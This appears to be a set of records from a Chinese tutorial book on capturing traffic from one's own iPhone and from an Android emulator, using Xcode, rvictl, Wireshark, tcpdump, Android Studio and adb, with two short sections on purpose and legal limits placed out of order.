    {"text": "未知 2.3 使用Xcode抓包 Xcode是运行在苹果操作系统（Mac OS）上的集成开发工具（IDE），由Apple Inc.开发。用户通过USB数据线将苹果手机连接到Mac OS系统中，使用Xcode即可获取该设备的UUID，然后借助rvictl工具即可使用Wireshark或Tcpdump工具来捕获苹果手机的数据包。本节介绍捕获苹果手机数据包的方法。"},
    {"text": "未知 2.3.1 下载并安装Xcode 如果要使用Xcode，则需要先下载并安装。另外，安装Xcode还必须有一个Apple ID账号。下面介绍下载并安装Xcode的方法。 1.注册Apple ID Apple ID账号的注册地址如下： https://appleid.apple.com/account#!&page=create 在浏览器中访问该地址后，将显示注册页面，如图2.84所示。 图2.84 注册页面 由于注册信息较多，无法在一张图中显示，所以这里截取了两张图。在该页面输入每个字段的信息，单击“继续”按钮，将显示电子邮件地址验证码对话框，如图2.85所示。 此时，在注册页面中指定的邮箱地址将收到一封邮件，包括获取的验证码。输入获取的验证码，并单击“继续”按钮，将显示电话号码验证对话框，如图2.86所示。 图2.85 电子邮件地址验证码对话框 图2.86 电话号码验证码对话框 此时，在注册页面中指定的手机号码将收到一个验证码。输入获取的验证码，并单击“继续”按钮，账号注册成功，如图2.87所示。 图2.87 账号注册成功 2.从官网下载Xcode 当注册Apple ID后，登录Apple Developer站点，即可下载Xcode工具。其中，Xcode官网下载地址为 https://developer.apple.com/download/ 。在浏览器中成功访问该网站后，将显示Appler开发者许可协议界面，如图2.88所示。 图2.88 Appler开发者许可协议界面 在图2.88中选中箭头指定的复选框，并单击Submit按钮，将显示Xcode的下载页面，如图2.89所示。 图2.89 Xcode下载页面 从Xcode下载页面中可以看到，当前的版本为Xcode 11.2 beta 2。单击Download按钮，将开始下载该工具。下载成功后，安装包名为Xcode_11.2_beta_2.xip。 3.从App Store应用商店下载Xcode 用户还可以在Mac OS系统的App Store应用商店中直接搜索Xcode工具，然后下载并安装。 【实例2-7】 从App Store中下载Xcode并安装。操作步骤如下： （1）在Mac OS系统中，启动App Store程序，将显示App Store界面，如图2.90所示。 图2.90 App Store界面 （2）在App Store界面的左侧栏搜索文本框中，输入xcode查找该程序。搜索完成后，将显示搜索结果，如图2.91所示。 图2.91 搜索结果 （3）从右侧可以看到，搜索到了匹配的结果。单击Xcode的“获取”按钮，将显示安装界面，如图2.92所示。 图2.92 安装Xcode界面 （4）单击“安装”按钮，将显示Apple ID账号登录对话框，如图2.93所示。 （5）在账号登录对话框中输入Apple ID账号，并单击“登录”按钮，将显示密码对话框，如图2.94所示。 图2.93 账号登录对话框 图2.94 密码对话框 （6）在密码对话框中输入账号的密码，并单击“登录”按钮，将开始下载Xcode工具，如图2.95所示。 图2.95 正在下载Xcode （7）下载完成后，将显示打开界面，如图2.96所示。 图2.96 打开界面 （8）单击“打开”按钮，即可安装Xcode工具。 在App Store应用商店中下载软件时，则必须使用Apple ID账号登录。对于新注册的用户，在登录App Store应用商店时，将弹出“此Apple ID尚未用于App Store”对话框，如图2.97所示。 图2.97 “此Apple ID尚未用于App Store”对话框 此时，单击“检查”按钮，将显示“完成创建Apple ID”对话框，如图2.98所示。 图2.98 “完成创建Apple ID”对话框 选中“条款与条件”后面的复选框，并单击“继续”按钮，将显示如图2.99所示的界面。 图2.99 完成创建Apple ID 在该对话框中，“付款方式”选择“无”，然后根据每个字段的提示填写其他字段。单击“继续”按钮，将显示“已创建Apple ID”对话框，如图2.100所示。 从图2.100中可以看到，Apple ID已创建成功。接下来，即可通过该账号使用Apple的所有服务了。单击“继续”按钮，即可使用该账号登录App Store应用商店了。 图2.100 “已创建Apple ID”对话框 4.安装Xcode 当Xcode安装包下载成功后，即可安装Xcode工具。对于从官网获取的Xcode安装包，则需要复制到Mac OS操作系统中。如果用户使用虚拟机的话，则需要通过共享文件夹方式来复制Xcode安装包。如果是从App Store中下载的话，单击“打开”按钮，即可开始安装。 【实例2-8】 安装Xcode。操作步骤如下： （1）将Xcode安装包复制到Mac OS操作系统中，如图2.101所示。 图2.101 Xcode安装包 （2）双击Xcode安装包，将开始解压。解压完成后，将出现一个名为Xcode-beta的文件，如图2.102所示。 提示： 如果用户使用共享文件夹方式复制Xcode安装包的话，不可以直接在共享文件夹中解压缩Xcode安装包。否则，将会显示“未能完成该操作。Block-compressed payload operation failed”错误提示信息，如图2.103所示。 图2.102 解压出的文件 （3）双击Xcode-beta文件，将弹出许可协议对话框，如图2.104所示。 图2.103 “归档实用工具”对话框 图2.104 许可协议对话框 提示： 如果是从App Store中下载Xcode进行安装，则在App Store中单击“打开”按钮后，将显示安装Xcode的许可协议对话框。 （4）单击Agree按钮，将弹出密码对话框，如图2.105所示。 （5）在密码对话框中输入密码，并单击“好”按钮，将开始安装Xcode，如图2.106所示。 （6）安装成功后，将自动启动Xcode工具，如图2.107所示。 图2.105 密码对话框 图2.106 正在安装Xcode组件 图2.107 Xcode欢迎界面"},
    {"text": "未知 2.3.2 获取苹果设备的UUID 当成功安装Xcode工具后，即可使用该工具获取苹果设备的UUID。 【实例2-9】 使用Xcode获取苹果设备的UUID。具体操作步骤如下： （1）在Mac OS系统中单击底部栏中的Launchpad（启动台）选项，将显示所有程序界面，如图2.108所示。 （2）单击Xcode程序，将显示Xcode欢迎界面，如图2.109所示。 提示： 如果是使用从官网下载的Xcode安装包进行安装的话，单击解压出的Xcode-beta文件，即可启动Xcode。 图2.108 所有程序 图2.109 Xcode欢迎界面 （3）在菜单栏依次选择Window|Devices命令，将打开设备界面，如图2.110所示。 （4）在该界面左侧栏中可以看到连接的苹果手机，右侧显示了该设备的详细信息，如名称（Name）、型号（Model）、容量（Capacity）、操作系统版本（iOS）、标识符（Identifier）等。其中，标识符就是当前设备的UUID。 图2.110 设备界面 未知 1.1.1 目的和意义 使用手机抓包的目的和意义，主要是为了学习和了解App工作机制、发现恶意程序及防止信息泄露。 1.学习和了解App工作机制 通过抓包并分析数据包，用户可以了解App的工作机制。例如，App与哪些服务器建立了连接，从哪些主机上获取数据资源等。通过分析数据，可以了解App内部的工作机制，如App检测更新方式、身份验证方式、视频资源数据来源等。 2.发现恶意程序 用户通过抓包，可以发现手机上运行的所有程序，尤其是隐藏运行的程序，然后通过分析捕获的数据包，可以找出是否有恶意程序发送的数据包，进而推断出对应的恶意程序。 3.防止信息泄露 用户通过抓包并分析数据包，可以发现有哪些程序发送了手机的敏感信息，如短信信息、通讯录和相册信息等。此时，用户可以通过卸载或升级程序来保护信息的安全。"},
    {"text": "未知 2.3.3 捕获数据包 当获取设备的UUID后，即可使用rvictl工具来启动一个虚拟接口，然后使用抓包工具指定该虚拟机接口即可捕获苹果手机上的数据包。下面介绍具体的实现方法。 1.使用rvictl工具创建虚拟接口 rvictl是一个远程虚拟接口工具，可以用来启动和停止连接到计算机中的设备为捕获数据包接口。rvictl工具的语法格式如下： rvictl [-h] [-l] [-s <uuid1> … <uuidN>] [-x <uuid1>… <uuidN>] 该工具支持的选项及含义如下。 ·-l或-L：列出当前的活动设备。 ·-s或-S：启动一个或一组设备。 ·-x或-X：停止一个或一组设备。 【实例2-10】 使用rvictl工具启动虚拟网卡。执行命令如下： daxueba:~ mac$ rvictl -s fdf8bc911e0785e6ab8e829e3c5ee090ea95e935 Starting device fdf8bc911e0785e6ab8e829e3c5ee090ea95e935 [SUCCEEDED] with interface rvi0 从输出的信息中可以看到，创建了虚拟接口rvi0。为了确定该接口创建成功，可以使用-l选项查看。执行命令如下： daxueba:~ mac$ rvictl -l Current Active Devices: [1] fdf8bc911e0785e6ab8e829e3c5ee090ea95e935 with interface rvi0 从输出的信息中可以看到，成功创建了虚拟接口rvi0。也可以使用ifconfig命令查看，结果如下： daxueba:~ mac$ ifconfig lo0: flags=8049<UP,LOOPBACK,RUNNING,MULTICAST> mtu 16384 options=3<RXCSUM,TXCSUM> inet6 ::1 prefixlen 128 inet 127.0.0.1 netmask 0xff000000 inet6 fe80::1%lo0 prefixlen 64 scopeid 0x1 nd6 options=1<PERFORMNUD> gif0: flags=8010<POINTOPOINT,MULTICAST> mtu 1280 stf0: flags=0<> mtu 1280 en0: flags=8863<UP,BROADCAST,SMART,RUNNING,SIMPLEX,MULTICAST> mtu 1500 options=b<RXCSUM,TXCSUM,VLAN_HWTAGGING> ether 00:0c:29:21:81:db inet6 fe80::20c:29ff:fe21:81db%en0 prefixlen 64 scopeid 0x4 inet 192.168.79.131 netmask 0xffffff00 broadcast 192.168.79.255 nd6 options=1<PERFORMNUD> media: autoselect (1000baseT <full-duplex>) status: active rvi0: flags=3005<UP,DEBUG,LINK0,LINK1> mtu 0 从输出的信息中可以看到刚创建的虚拟接口rvi0。接下来，就可以通过虚拟接口rvi0来捕获数据包了。 2.使用Wireshark工具抓包 Wireshark是一款非常强大的图形界面抓包分析工具。下面介绍使用Wireshark捕获苹果手机的数据包的方法。 【实例2-11】 使用Wireshark捕获数据包。操作步骤如下： （1）启动Wireshark工具。执行命令如下： daxueba:~ mac$ wireshark 执行以上命令后，将启动Wireshark，如图2.111所示。 图2.111 Wireshark启动界面 （2）在Wireshark启动界面选择接口rvi0，并单击开始捕获按钮 ，将开始捕获数据包，如图2.112所示。 图2.112 正在捕获数据包 （3）从图2.112中可以看到捕获的苹果手机数据包。当不需要再捕获数据包时，单击停止捕获按钮 ，将停止捕获，如图2.113所示。 图2.113 停止捕获 （4）此时，即可对捕获的数据包进行分析。 3.使用tcpdump工具抓包 tcpdump是一款命令行抓包工具。在Mac OS操作系统中，默认已经安装了tcpdump工具，所以可以在终端窗口直接使用。执行命令如下： daxueba:~ mac$ tcpdump -i rvi0 -s 0 -w dump.pcap tcpdump: WARNING: rvi0: That device doesn't support promiscuous mode (BIOCPROMISC: Operation not supported on socket) tcpdump: listening on rvi0, link-type PKTAP (Packet Tap), capture size 262144 bytes 看到以上输出信息，则表示正在捕获数据包。当捕获一段时间后，按Ctrl+C组合键停止捕获，此时输出如下： ^C421 packets captured 421 packets received by filter 0 packets dropped by kernel 从输出的信息中可以看到，捕获421个数据包。 未知 第3章 模拟器抓包 模拟器用于在计算机上模拟运行手机系统环境，这样便可以在不使用物理设备的情况下也能预览、安装和运行手机应用程序。相较于物理机，模拟器的优点是在不涉及用户隐私的情况下，可以提供更多的硬件/软件配置；其缺点是部分手机应用不允许在模拟器中运行。用户可以手动创建模拟器，也可以使用第三方现成的模拟器。本章讲解如何使用模拟器进行抓包。 未知 3.1 自建模拟器 自建模拟器就是手动创建模拟器。用户可以使用Android SDK手动创建Android模拟器。Android SDK提供了开发Android应用程序所需的API库，以及构建、测试和调试Android应用程序所需的开发工具。本节介绍自建模拟器的方法。"},
    {"text": "未知 3.1.1 下载并安装JDK Java开发工具箱（Java Development Kit，JDK）是Java开发的核心，它包含Java的运行环境和Java开发工具。由于Android模拟器需要在Java环境下才能运行，所以必须安装JDK。下面介绍安装及配置JDK的方法。 1.下载JDK包 JDK的下载地址是 http://www.oracle.com/technetwork/java/javase/downloads/index.html 。在浏览器中成功访问该地址后，将显示如图3.1所示的页面。 单击Oracle JDK下面的DOWNLOAD按钮，将显示JDK下载页面，如图3.2所示。 在JDK下载页面中显示了支持的各个操作系统平台的安装包。用户可以根据自己的系统架构，选择对应的安装包。这里将下载Windows 64位架构的安装包。选中Accept License Agreement单选按钮，即选择接受许可协议，将显示如图3.3所示的页面。 图3.1 Java SE下载页面 图3.2 JDK下载页面 图3.3 接受许可协议 此时，选择对应架构的安装包下载即可。 2.安装JDK包 当用户成功下载JDK安装包后，即可安装JDK。 【实例3-1】 在Windows 10操作系统中安装JDK。具体操作步骤如下： （1）双击下载的JDK安装包，将弹出“安装程序”对话框，如图3.4所示。 （2）单击“下一步”按钮，将进入“目标文件夹”对话框，如图3.5所示。 图3.4 “安装程序”对话框 图3.5 “目标文件夹”对话框 （3）在“目标文件夹”对话框中可以指定Java的安装位置。这里使用默认设置，单击“下一步”按钮，将开始安装JDK。安装完成后，将显示“完成”对话框，如图3.6所示。 图3.6 “完成”对话框 （4）从图3.6中可以看到，JDK已成功安装。单击“关闭”按钮，退出安装程序。 3.配置JDK环境变量 JDK安装成功后，将附带安装大量的JDK工具。为了方便调用这些工具，可以通过配置添加对应的环境变量。 【实例3-2】 配置JDK环境变量。具体操作步骤如下： （1）在桌面上右击“此电脑”图标，选择“属性”命令，如图3.7所示。此时将打开系统设置界面，如图3.8所示。 图3.7 属性 图3.8 系统设置界面 （2）单击“高级系统设置”选项，将弹出“系统属性”对话框，如图3.9所示。 （3）单击“环境变量”按钮，将进入“环境变量”对话框，如图3.10所示。 图3.9 “系统属性”对话框 图3.10 “环境变量”对话框 （4）设置3个系统变量，用来指定Java工具的路径。首先创建一个变量名为JAVA_HOME、变量值为JDK安装路径的系统变量。其中，本例中JDK的安装路径为C:\\Program Files\\Java\\jdk-12.0.2。单击“系统变量”选项栏中的“新建”按钮，弹出“新建系统变量”对话框，如图3.11所示。 图3.11 “新建系统变量”对话框 （5）指定变量名和变量值，单击“确定”按钮，则系统变量添加成功。接下来，新建一个变量名为CLASSPATH、变量值为“.;%JAVA_HOME%\\lib;%JAVA_HOME%\\lib\\tools.jar”的系统变量，如图3.12所示。注意，变量值前面有一个点（.），表示当前目录。 图3.12 CLASSPATH变量 （6）单击“确定”按钮，则变量添加成功。接下来，在Path变量的变量值后面添加一个Java工具路径。在“系统变量”选项栏中找到名为Path的变量，并单击“编辑”按钮，打开“编辑系统变量”对话框，如图3.13所示。 图3.13 编辑Path变量 （7）在“变量值”文本框原有内容的后面添加“;%JAVA_HOME%\\bin;%JAVA_HOME%\\jre\\bin;”内容，然后单击“确定”按钮，则变量设置成功，如图3.14所示。 图3.14 变量创建完成 （8）此时，JDK的环境变量就设置完成了。单击“确定”按钮，关闭“环境变量”对话框。"},
    {"text": "未知 3.1.2 下载并安装Android SDK 目前，Android官网已经不提供单独的SDK下载安装包了，推荐下载的是包含有Android SDK的Android Studio。Android Studio是谷歌推出的Android集成开发工具，其提供了集成的Android开发工具，用于开发和调试。Android Studio的下载地址为 https://developer.android.com/studio/ 。在浏览器中访问该地址后，将显示如图3.15所示的页面。 在Android Studio下载页面单击DOWNLOAD ANDROID STUDIO按钮将开始下载该安装包。下载完成后，安装包名为android-studio-ide-191.5791312-windows.exe。接下来，就可以利用该安装包安装Android SDK了。 【实例3-3】 在Windows 10中安装Android SDK。具体操作步骤如下： （1）双击Android Studio安装包，弹出欢迎对话框，如图3.16所示。 （2）单击Next按钮，进入选择组件对话框，如图3.17所示。 图3.15 Android Studio下载页面 图3.16 欢迎对话框 图3.17 选择组件 （3）从选择组件对话框中可以看到，提供的组件有Android Studio和Android Virtual Device。用户可能已经发现，这里并没有Android SDK选项。不用担心，Android SDK将在后续的步骤进行安装，所以这里按照正常的安装步骤操作即可。单击Next按钮，进入配置设置对话框，如图3.18所示。 （4）配置设置对话框用来指定Android Studio的安装位置。设置完后，单击Next按钮，进入选择启动菜单文件夹对话框，如图3.19所示。 （5）单击Install按钮，将开始安装Android Studio。安装完成后，显示如图3.20所示的对话框。 （6）单击Next按钮，将显示Android Studio设置完成对话框，如图3.21所示。 （7）此时，Android Studio就安装完成了。单击Finish按钮，将启动Android Studio。第一次启动Android Studio工具后，将弹出如图3.22所示的对话框。 图3.18 配置设置 图3.19 选择启动菜单文件夹 图3.20 安装完成 图3.21 Android Studio设置完成 （8）图3.22提示是否导入Android Studio配置。这里没有要导入的配置，所以选中Do not import settings单选按钮，并单击OK按钮，进入数据共享对话框，如图3.23所示。 图3.22 导入配置对话框 图3.23 数据共享对话框 （9）数据共享对话框提示是否将数据发送到Google。单击Don't send按钮，进入安装类型对话框，如图3.24所示。 图3.24 安装类型对话框 （10）安装类型对话框用来选择Android Studio的安装类型。这里支持的类型有Standard（标准）和Custom（自定义），其中，Standard类型将安装到通用的位置，即C盘的用户目录；Custom可以自定义安装位置。如果要安装Android模拟器，则安装的包比较多，而且占用空间大。为了避免影响系统的运行，建议安装到其他位置。这里选中Custom单选按钮，并单击Next按钮，将弹出Android Studio First Run对话框，如图3.25所示。 图3.25 Android Studio First Run对话框 （11）单击Cancel按钮，进入Android Studio设置向导对话框，如图3.26所示。 图3.26 Android Studio设置向导对话框 （12）单击Next按钮，进入选择用户主题对话框，如图3.27所示。 图3.27 选择用户主题对话框 （13）选中Light单选按钮，并单击Next按钮，进入SDK组件设置对话框，如图3.28所示。 图3.28 SDK组件设置对话框 （14）选择将要安装的组件，并且指定其安装位置，然后单击Next按钮，将显示模拟器设置对话框，如图3.29所示。 图3.29 模拟器设置对话框 （15）设置模拟器的内存大小，然后单击Next按钮，进入确认设置对话框，如图3.30所示。 图3.30 确认设置 （16）如果确认当前设置没问题，单击Finish按钮，将开始下载并安装所有的组件。安装完成后，将显示如图3.31所示的对话框。 图3.31 组件安装完成 提示： 在下载组件过程中，如果网络不稳定，可能导致某软件下载失败，如图3.32所示。此时，单击Retry按钮，将尝试重新下载并安装。 （17）看到图3.31所示对话框，则表示所有组件已经安装完成。单击Finish按钮，将显示Android Studio的欢迎界面，如图3.33所示。 图3.32 组件下载失败 图3.33 Android Studio欢迎界面 此时，Android Studio就配置好了，Android SDK也安装成功了。接下来，用户就可以配置Android SDK了。"},
    {"text": "未知 3.1.3 设置Android SDK 通过前面的操作，Android SDK就安装好了。如果要安装模拟器，则需要在SDK管理器中安装需要的Android系统版本及架构镜像等。下面设置Android SDK。 【实例3-4】 设置Android SDK。具体操作步骤如下： （1）启动Android Studio，将弹出如图3.34所示的窗口。 图3.34 Android Studio欢迎窗口 （2）单击Configure下拉按钮，如图3.35所示。 （3）从弹出的下拉列表中可以看到所有的相关配置选项。选择SDK Manager选项，弹出Android SDK管理对话框，如图3.36所示。 （4）从Android SDK管理对话框右侧部分可以看到Android SDK的所有配置，包括SDK Platforms（SDK平台）、SDK Tools（SDK工具）和SDK Update Sites（SDK更新站点）三部分。其中，SDK Platforms部分包括所有的Android版本；SDK Tools部分包括所有的SDK工具；SDK Update Sites部分包括SDK更新的所有站点。从SDK Platforms部分可以看到支持的所有SDK平台，默认安装了Android 10.0。在该部分共包括4列信息，分别是Name（Android平台名称）、API Level（API级别）、Revision（修订版）和Status（状态）。从Status列可以看到安装了哪些包。选中Show Package Details复选框，将显示包详细信息，如图3.37所示。 图3.35 弹出的下拉列表 图3.36 Android SDK管理对话框 图3.37 包详细信息 （5）此时，用户可以选择需要的Android版本镜像。为了方便安装App包，这里将选择安装包括ARM架构的包。本例中将安装Android 7.1.1（Nougat）和Android 7.0（Nougat）版本的SDK包。然后单击Apply按钮，弹出确认修改对话框，如图3.38所示。 图3.38 确认修改对话框 （6）从图3.38中可以看到将要安装的组件及占用磁盘情况。如果用户磁盘空间不足，将导致安装失败。单击OK按钮，弹出许可协议对话框，如图3.39所示。 图3.39 许可协议对话框 （7）许可协议对话框中显示了安装所有组件的许可协议条款。此时，必须先接受该协议才可以继续安装，否则无法单击Next按钮。选中Accept单选按钮，如图3.40所示。 图3.40 已接受许可协议 （8）单击Next按钮，将开始下载并安装组件，如图3.41所示。 图3.41 下载并安装组件 （9）从图3.41中可以看到，正在下载并安装及组件。安装完成后，将显示如图3.42所示的对话框。 图3.42 安装完成 （10）单击Finish按钮，即可看到选择组件的Status列显示为Installed（已安装），如图3.43所示。 图3.43 组件安装成功 （11）选择SDK Tools选项卡，将显示SDK工具列表，如图3.44所示。 图3.44 SDK工具列表 （12）从图3.44中可以看到安装的所有SDK工具。如果要使用Android模拟器，需要安装的组件有Android SDK Build-Tools、Android Emulator、Android SDK Platform-Tools、Android SDK Tools和Intel x86 Emulator Accelerator(HAXM installer)和Google USB Driver。下面介绍每个组件的作用。 ·Android SDK Build-Tools：提供AAPT工具、AIDL工具和打包工具。 ·Android Emulator：用于提供Android模拟器系统。 ·Android SDK Platform-Tools：提供针对PC端和移动端进行交互的一些工具，如ADB、SQLite 3等。 ·Android SDK Tools：提供针对PC平台下使用的工具，如模拟器。 ·Intel x86 Emulator Accelerator(HAXM installer)：如果Android模拟器使用Intel处理器的话，则必须安装该组件。 ·Google USB Driver：如果要使用任何Google Nexus设备执行ADB调试，则必须安装该组件。 如果某个组件没有安装的话，选中对应组件前面的复选框，并单击Apply按钮将开始下载并安装该组件。选择SDK Update Sites选项卡，将显示SDK更新站点，如图3.45所示。 图3.45 SDK更新站点 （13）从列表框中可以看到默认提供的所有SDK更新站点，这些站点用于获取SDK组件包。为了加快安装速度，可以选中Force https://…sources to be fetched using http://复选框。设置完成后单击OK按钮，则Android SDK设置完成。 未知 3.1.4 设置Android SDK环境变量 当安装好Android SDK中的工具组件后，便可以使用其工具了。例如，通常使用ADB工具连接设备、安装或删除App等。当用户使用这些工具时，需要切换到具体的位置才可以使用该工具。为了方便调用所有的工具，可以将Android SDK中工具的路径添加到系统的环境变量中。下面介绍设置Android SDK环境变量的方法。 【实例3-5】 在Windows 10中，设置Android SDK环境变量。具体操作步骤如下： （1）右击“此电脑”图标，选择“属性”命令，将打开系统设置窗口，如图3.46所示。 （2）选择“高级系统设置”选项，弹出“系统属性”对话框，如图3.47所示。 （3）单击“环境变量”按钮，弹出“环境变量”对话框，如图3.48所示。 图3.46 系统设置窗口 图3.47 “系统属性”对话框 图3.48 “环境变量”对话框 （4）在“系统变量”选项栏中选择Path变量，并单击“编辑”按钮，弹出“编辑系统变量”对话框，如图3.49所示。 图3.49 “编辑系统变量”对话框 （5）修改变量值，即追加Android SDK工具的安装路径。其中，追加的内容格式如下： ;<SDK>\\platform-tools;<SDK>\\tools; 以上格式中的<SDK>是指Android SDK工具的具体安装路径。本例中的路径为E:\\Android\\Sdk，则追加的内容如下： ;E:\\Android\\Sdk\\platform-tools;E:\\Android\\Sdk\\tools; 追加以上内容后，单击“确定”按钮，完成环境变量设置。"},
    {"text": "未知 3.1.5 创建模拟器 经过前面的一系列操作，Android SDK就配置好了，接下来即可创建模拟器（AVD）。下面介绍具体的创建方法。 【实例3-6】 创建模拟器。具体操作步骤如下： （1）在Android Studio欢迎界面中，单击Configure下拉按钮，弹出下拉列表，如图3.50所示。 图3.50 下拉列表 （2）在Configure下拉列表中选择AVD Manager选项，弹出如图3.51所示的窗口。 （3）从AVD管理窗口中可以看到，目前还没有创建任何模拟器。单击Create Virtual Device按钮，弹出选择硬件对话框，如图3.52所示。 （4）从选择硬件对话框中可以看到支持创建的模拟器类型有4种，分别是TV（智能电视）、Phone（手机）、Wear OS（智能手表）和Tablet（平板）。这里选择Phone类型，将看到默认提供的所有硬件配置模型，如Pixel XL、Piexl 3a XL等。如果不想使用默认的硬件配置，可以新建（New Hardware Profile）和导入（Import Hardware Profiles）硬件配置。例如，这里将新建一个硬件配置，则单击New Hardware Profile按钮，弹出如图3.53所示的对话框。 图3.51 AVD管理窗口 图3.52 选择硬件 图3.53 新建硬件配置 （5）此时，用户根据自己的需要进行配置即可。其中，所有配置项及含义如下： ·Device Name：指定设备名称。 ·Device Type：指定设备类型。其中，可以指定的类型有Phone/Tablet（手机/平板）、Wear OS（智能手表）、Android TV（Android电视）、Chrome OS Device（Chrome操作系统设备）和Android Automotive（Android车载嵌入式操作系统）。 ·Screen size：屏幕大小。 ·Resolution：分辨率。 ·Memory：指定模拟器的内存大小。 ·Input：指定键盘的输入类型。其中，可以指定的值有Has Hardware Buttons(Back/Home/Menu)（硬件按钮）和Has Hardware Keyboard（硬件键盘）。 ·Navigation Style：指定导航栏模式。其中，可以指定的类型有None（无）、D-pad（方键）、Trackball（圆球）和Wheel（滚轮）。 ·Supported device states：设置支持的设备状态。其中，Portrait表示竖屏；Landscape表示横屏。 ·Cameras：设置照相机。其中，Back-facing camera表示后置摄像头；Front-facing camera表示前置摄像头。 ·Sensors：指定包括的传感器设备。其中，可以指定的传感器设备有Accelerometer（加速计）、Gyroscope（陀螺仪）、GPS（全球定位系统）和Proximity Sensor（距离传感器）。 ·Default Skin：指定默认皮肤。 本例中配置的硬件信息如图3.54所示。 图3.54 硬件配置 （6）单击Finish按钮，即可看到新添加的硬件配置，如图3.55所示。 （7）从图3.55中可以看到，新创建了Android硬件配置。此时，选择该硬件配置，并单击Next按钮，进入系统镜像选择对话框，如图3.56所示。 图3.55 新创建的硬件配置 图3.56 选择系统镜像 （8）在选择系统镜像对话框中提供了三部分系统镜像，分别是Recommended（建议的镜像）、x86 Images（x86镜像）和Other Images（其他镜像）。其中，建议的镜像ABI都是x86的，这是因为x86镜像运行速度较快，所以推荐使用。如果用户需要安装App程序，并且该程序只支持ARM架构，则无法在x86架构的模拟器中安装。因为我们要捕获App数据包，所以肯定要安装一些App程序。为了使后续的操作顺利，这里将选择一个ARM镜像。选择Other Images选项卡，将显示其他镜像，如图3.57所示。 图3.57 其他镜像 （9）从其他镜像列表框中可以看到可以选择的所有镜像。其中，Release Name列中包含有Download字样的镜像，说明该镜像没有安装。单击Download链接，即可下载并安装该镜像。这里选择第一个已经安装的Nougat镜像，然后单击Next按钮，进入AVD验证配置对话框，如图3.58所示。 （10）在图3.58中显示了将创建的模拟器（AVD）的配置信息，用户可以对其进行修改。另外，单击Show Advanced Settings按钮，可以查看高级设置，如图3.59所示。 图3.58 AVD验证配置对话框 图3.59 高级设置 （11）该对话框中显示了模拟器的高级设置选项，用户可以设置摄像头、网络、内存及存储空间等。为了方便记忆，这里将该模拟器名称修改为Test，并且选中Enable Device Frame复选框（由于该页面显示的内容较多，无法截取整个页面，所以部分设置选项看不到。读者向下滚动鼠标即可设置其他选项）。然后单击Finish按钮，则模拟器创建成功，如图3.60所示。 图3.60 模拟器创建成功 从图3.60中可以看到，成功创建了一个名称为Test的模拟器。"},
    {"text": "未知 3.1.6 启动模拟器 当创建好模拟器后，需要启动该模拟器后才可以使用。下面介绍启动模拟器的方法。 【实例3-7】 启动模拟器。具体操作步骤如下： （1）在Configure下拉列表中选择AVD Manager选项，将打开模拟器列表窗口，如图3.61所示。 （2）从模拟器列表中可以看到刚创建的名为Test的模拟器及该模拟器的基本信息。该列表中共包括9列，分别为Type（设备类型）、Name（名称）、Play Store（应用商店）、Resolution（分辨率）、API（API级别）、Target（目标平台）、CPU/ABI（架构）、Size on Disk（占用磁盘大小）和Actions（行为）。如果用户要操作该模拟器，则单击Actions列的按钮。其中，按钮 用来启动模拟器；按钮 用来编辑模拟器；按钮 用来管理模拟器，包括Duplicate（复制模拟器）、Wipe Data（擦除数据）、Cold Boot Now（冷启动）、Show on Disk（查看模拟器所在磁盘）、View Details（查看详细信息）、Delete（删除模拟器）和Stop（停止模拟器）。这里单击启动模拟器按钮 ，即可启动该模拟器，如图3.62所示。 图3.61 模拟器列表 图3.62 正在启动模拟器 （3）从图3.62中可以看到正在启动模拟器。如果用户想要进行其他操作的话，可以单击Background按钮，在后台启动该模拟器。当模拟器启动成功后，将弹出一个警告对话框，如图3.63所示。 （4）该对话框建议用户使用x86架构的模拟器，这样运行速度比较快。这里直接单击OK按钮，即可成功启动该模拟器，如图3.64所示。如果不希望再次弹出该警告对话框的话，选中Never show this again复选框即可。 （5）此时，可以使用ADB工具查看连接的设备，以确定模拟器设备已激活。执行命令如下： C:\\Users\\Administrator>adb devices List of devices attached emulator-5554 device 从输出的信息中可以看到，成功列出了一个Android设备，该设备名称为emulator-5554。 图3.63 警告对话框 图3.64 模拟器启动成功 未知 3.2 配置模拟器环境 当创建好模拟器后，便可以使用该模拟器来捕获数据包。但是在使用该模拟器之前，需要配置模拟器环境，如安装要捕获的程序App、运行App等。本节介绍配置模拟器环境，并使用模拟器捕获数据包的方法。 未知 1.1.2 法律边界 在实施抓包时，用户需要注意数据抓包授权和分析相关的法律问题，规避面临的法律诉讼风险。下面将介绍关于手机抓包的两个法律边界问题。 1.禁止“嗅探”他人网络和数据 在捕获数据包时，禁止“嗅探”他人网络和数据。如果想要“嗅探”他人的网络和数据，需要提前获取目标用户的正式授权；否则会侵犯他人隐私，造成不必要的麻烦。 2.禁止破坏自己设备正常应用的通信 用户不能随意篡改自己设备正常应用的通信数据，避免影响相关服务器的正常运行。一旦影响服务器的正常运行，不但会带来经济损失，同样将面临法律风险。 未知 3.2.1 安装App 当安装好模拟器后，默认只安装了系统的一些程序。对于想要捕获的App数据包，则需要先安装该App。在模拟器中，将使用ADB工具来安装App，其语法格式如下： adb install <App> 【实例3-8】 以微信程序为例，介绍安装App的方法。具体操作步骤如下： （1）下载微信App。其中，微信的官网下载地址为 https://weixin.qq.com/ ，在浏览器中成功访问后，将显示如图3.65所示的页面。 图3.65 下载微信App （2）这里选择下载Android平台的安装包。单击Android 7.0.6链接，将跳转到Android版的下载页面，如图3.66所示。 图3.66 下载Android版的App （3）单击“立即下载”链接，将开始下载其安装包。下载成功后，其安装包名为weixin706android1480.apk。为了方便输入，将该App包名称修改为weixin.apk。接下来就可以安装该App了，执行命令如下： C:\\Users\\Administrator>adb install weixin.apk Performing Streamed Install Success 从输出的信息中可以看到以上命令执行成功（Success），即微信安装成功。此时，在模拟器中即可看到安装的微信程序，如图3.67所示。 图3.67 微信程序安装成功 提示： 在安装或者上传文件时，可能会由于权限限制导致操作失败。这是因为默认模拟器拥有的是普通用户权限，需要启用root权限，执行命令如下： E:\\Android\\Sdk\\platform-tools>adb.exe root 此时，用户就拥有root权限了，可以执行任意操作。"},
